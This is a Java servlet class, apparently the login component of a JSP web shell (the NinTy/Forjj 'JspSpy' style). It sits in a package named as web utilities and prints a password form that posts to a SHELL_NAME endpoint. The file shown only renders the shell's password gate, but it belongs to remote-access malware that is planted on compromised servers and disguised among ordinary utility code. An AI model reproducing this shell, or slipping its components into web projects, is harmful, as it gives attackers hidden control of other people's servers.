package com.truthbean.jeetb.utils.web.invoker;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.PrintWriter;

public class VLoginInvoker extends DefaultInvoker {
        public boolean doBefore() {
            return false;
        }

        public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
            try {
                PrintWriter out = response.getWriter();
                out.println("<style type=\"text/css\">" +
                        "	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}" +
                        "a{font:11px Verdana;BACKGROUND: #FFFFFF;}" +
                        "	</style><form method=\"POST\" action=\"" + SHELL_NAME + "\">" +
                        "	  <p><span style=\"font:11px Verdana;\">Password: </span>" +
                        "        <input name=\"o\" type=\"hidden\" value=\"login\">" +
                        "        <input name=\"pw\" type=\"password\" size=\"20\">" +
                        "        <input type=\"hidden\" name=\"o\" value=\"login\">" +
                        "        <input type=\"submit\" value=\"Login\"><br/><br/>" +
                        "	  " +
                        "<span style=\"font:11px Verdana;\">Copyright &copy; 2009 NinTy </span><a href=\"http://www.forjj.com\" target=\"_blank\">www.Forjj.com</a></p>" +
                        "    </form>");
            } catch (Exception e) {
                e.printStackTrace();
                throw e;
            }
        }
    }